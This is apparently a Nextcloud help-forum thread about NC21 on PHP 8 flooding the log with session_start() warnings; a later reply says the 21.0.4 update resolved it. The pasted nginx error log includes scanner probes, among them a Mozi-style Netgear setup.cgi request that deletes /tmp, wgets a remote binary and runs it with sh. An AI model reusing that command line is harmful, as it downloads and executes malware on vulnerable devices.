NC21/PHP8: log flooded with "Ignoring session_start() because a session is already active"

Support intro

Sorry to hear you’re facing problems :slightly_frowning_face:

help.nextcloud.com is for home/non-enterprise users. If you’re running a business, paid support can be accessed via portal.nextcloud.com where we can ensure your business keeps running smoothly.

In order to help you as quickly as possible, before clicking Create Topic please provide as much of the below as you can. Feel free to use a pastebin service for logs, otherwise either indent short log examples with four spaces:

example

Or for longer, use three backticks above and below the code snippet:

longer
example
here

Some or all of the below information will be requested if it isn’t supplied; for fastest response please provide as much as you can :heart:

Nextcloud version (eg, 20.0.5): 21.0.3
Operating system and version (eg, Ubuntu 20.04): Mageia 8 kernel 5.10.52
Apache or nginx version (eg, Apache 2.4.25): nginx version: nginx/1.18.0
PHP version (eg, 7.4): PHP-FPM Zend Engine v4.0.8 with Zend OPcache v8.0.8

The issue you are facing:
Log file is flooded with the error: Ignoring session_start() because a session is already active at /var/www/nextcloud/lib/private/Session/Internal.php

I just tried the solution recommended by @Beltran1337 in Nextcloud throwing errors in my log but it didn’t work.
As I have been facing this issue since my first NC21 install with PHP8, and it has not been solved through the successive updates, I am posting this request for support.

Is this the first time you’ve seen this error? N

Steps to replicate it:

  1. Installation of NC21 with PHP8. I have had this error since I installed NC21 with PHP8 (about 6 months ago), with all NC21 versions and all PHP8 versions.

The output of your Nextcloud log in Admin > Logging:

{"reqId":"qXezpBSkp1AbfxN0oTXD","level":3,"time":"2021-07-27T11:29:39+02:00","remoteAddr":"192.168.1.21","user":"--","app":"PHP","method":"GET","url":"/index.php/apps/passwords/api/1.0/session/keepalive","message":{"Exception":"Error","Message":"session_start(): Ignoring session_start() because a session is already active at /var/www/nextcloud/lib/private/Session/Internal.php#207","Code":0,"Trace":[{"function":"onError","class":"OC\\Log\\ErrorHandler","type":"::"},{"function":"session_start"},{"file":"/var/www/nextcloud/lib/private/Session/Internal.php","line":207,"function":"call_user_func_array"},{"file":"/var/www/nextcloud/lib/private/Session/Internal.php","line":217,"function":"invoke","class":"OC\\Session\\Internal","type":"->"},{"file":"/var/www/nextcloud/lib/private/Session/Internal.php","line":107,"function":"startSession","class":"OC\\Session\\Internal","type":"->"},{"file":"/var/www/nextcloud/lib/private/Session/CryptoSessionData.php","line":150,"function":"clear","class":"OC\\Session\\Internal","type":"->"},{"file":"/var/www/nextcloud/lib/private/User/Session.php","line":932,"function":"clear","class":"OC\\Session\\CryptoSessionData","type":"->"},{"file":"/var/www/nextcloud/lib/private/AppFramework/Middleware/Security/CORSMiddleware.php","line":90,"function":"logout","class":"OC\\User\\Session","type":"->"},{"file":"/var/www/nextcloud/lib/private/AppFramework/Middleware/MiddlewareDispatcher.php","line":98,"function":"beforeController","class":"OC\\AppFramework\\Middleware\\Security\\CORSMiddleware","type":"->"},{"file":"/var/www/nextcloud/lib/private/AppFramework/Http/Dispatcher.php","line":119,"function":"beforeController","class":"OC\\AppFramework\\Middleware\\MiddlewareDispatcher","type":"->"},{"file":"/var/www/nextcloud/lib/private/AppFramework/App.php","line":157,"function":"dispatch","class":"OC\\AppFramework\\Http\\Dispatcher","type":"->"},{"file":"/var/www/nextcloud/lib/private/Route/Router.php","line":302,"function":"main","class":"OC\\AppFramework\\App","type":"::"},{"file":"/var/www/nextcloud/lib/base.php","line":993,"function":"match","class":"OC\\Route\\Router","type":"->"},{"file":"/var/www/nextcloud/index.php","line":37,"function":"handleRequest","class":"OC","type":"::"}],"File":"/var/www/nextcloud/lib/private/Log/ErrorHandler.php","Line":92,"CustomMessage":"--"},"userAgent":"Official Passwords Client for Firefox on Linux","version":"21.0.3.1","id":"60ffd204b0379"}

The output of your config.php file in /path/to/nextcloud (make sure you remove any identifiable information!):

<?php
$CONFIG = array (
  'instanceid' => 'removed',
  'passwordsalt' => 'removed',
  'secret' => 'removed',
  'trusted_domains' => 
  array (
    0 => 'subdomain.my_domain',
  ),
  'default_phone_region' => 'FR',
  'datadirectory' => '/other_partition/data',
  'dbtype' => 'mysql',
  'version' => '21.0.3.1',
  'dbname' => 'ncdb',
  'dbhost' => 'localhost',
  'dbport' => '',
  'dbtableprefix' => 'oc_',
  'mysql.utf8mb4' => true,
  'dbuser' => 'removed',
  'dbpassword' => 'removed',
  'installed' => true,
  'maintenance' => false,
  'mail_smtpmode' => 'smtp',
  'mail_smtpsecure' => 'ssl',
  'mail_sendmailmode' => 'smtp',
  'mail_from_address' => 'my_id',
  'mail_domain' => 'my_mail',
  'mail_smtpauthtype' => 'LOGIN',
  'mail_smtpauth' => 1,
  'mail_smtphost' => 'my_smtp',
  'mail_smtpport' => '465',
  'mail_smtpname' => 'me@my_domain',
  'mail_smtppassword' => 'my_pwd',
  'memcache.local' => '\\OC\\Memcache\\APCu',
  'memcache.distributed' => '\\OC\\Memcache\\Redis',
  'filelocking.enabled' => true,
  'memcache.locking' => '\\OC\\Memcache\\Redis',
  'redis' => 
  array (
    'host' => '/tmp/redis.sock',
    'port' => 0,
    'dbindex' => 0,
    'timeout' => 0.0,
  ),
  'remember_login_cookie_lifetime' => 0,
  'session_keepalive' => false,
  'theme' => '',
  'logtimezone' => 'Europe/Paris',
  'loglevel' => 2,
  'log_rotate_size' => 110000,
  'preview_libreoffice_path' => '/usr/bin/libreoffice',
  'activity_expire_days' => 1,
  'trashbin_retention_obligation' => 'auto, 7',
  'data-fingerprint' => '9d938e709551177d36ec69695d8f9a93',
  'overwrite.cli.url' => 'https://subdomain.my_domain',
  'encryption.key_storage_migrated' => false,
  'has_rebuilt_cache' => true,
);

The output of your Apache/nginx/system log in /var/log/____:

2021/07/27 04:10:40 [error] 36223#36223: *25851 open() "/usr/share/nginx/html/_ignition/execute-solution" failed (2: No such file or directory), client: 104.248.160.194, server: localhost, request: "GET /_ignition/execute-solution HTTP/1.1", host: "my_IP"
2021/07/27 06:09:16 [error] 36223#36223: *26046 FastCGI sent in stderr: "Unable to open primary script: /var/www/html/TP/public/index.php (No such file or directory)" while reading response header from upstream, client: 129.191.21.220, server: localhost, request: "GET /TP/public/index.php HTTP/1.1", upstream: "fastcgi://unix:/var/lib/php-fpm/php-fpm.sock:", host: "my_IP"
2021/07/27 07:05:57 [error] 36223#36223: *26644 open() "/usr/share/nginx/html/setup.cgi" failed (2: No such file or directory), client: 116.25.134.255, server: localhost, request: "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://116.25.134.255:44925/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0"
2021/07/27 08:46:07 [error] 36223#36223: *28809 open() "/usr/share/nginx/html/.env" failed (2: No such file or directory), client: 188.119.51.126, server: localhost, request: "GET /.env HTTP/1.1", host: "my_IP"
2021/07/27 10:38:19 [error] 36223#36223: *32045 open() "/usr/share/nginx/html/config/getuser" failed (2: No such file or directory), client: 209.141.47.35, server: localhost, request: "GET /config/getuser?index=0 HTTP/1.1", host: "my_IP:80"

NC 21 is not completely compatible with PHP8 yet.

Thanks for informing it is connected to PHP 8.
Is there anything I can do to help here?

If you want to go through the hassle, you could downgrade to PHP 7.4. However, I think it would be better right now to just wait for the upcoming patches. The error won’t hurt anything, just makes your logs a bit hard to read.

Ok. I will wait then. Thanks.

Hi
So far, after upgrading to 21.0.4, I don’t have the issue anymore.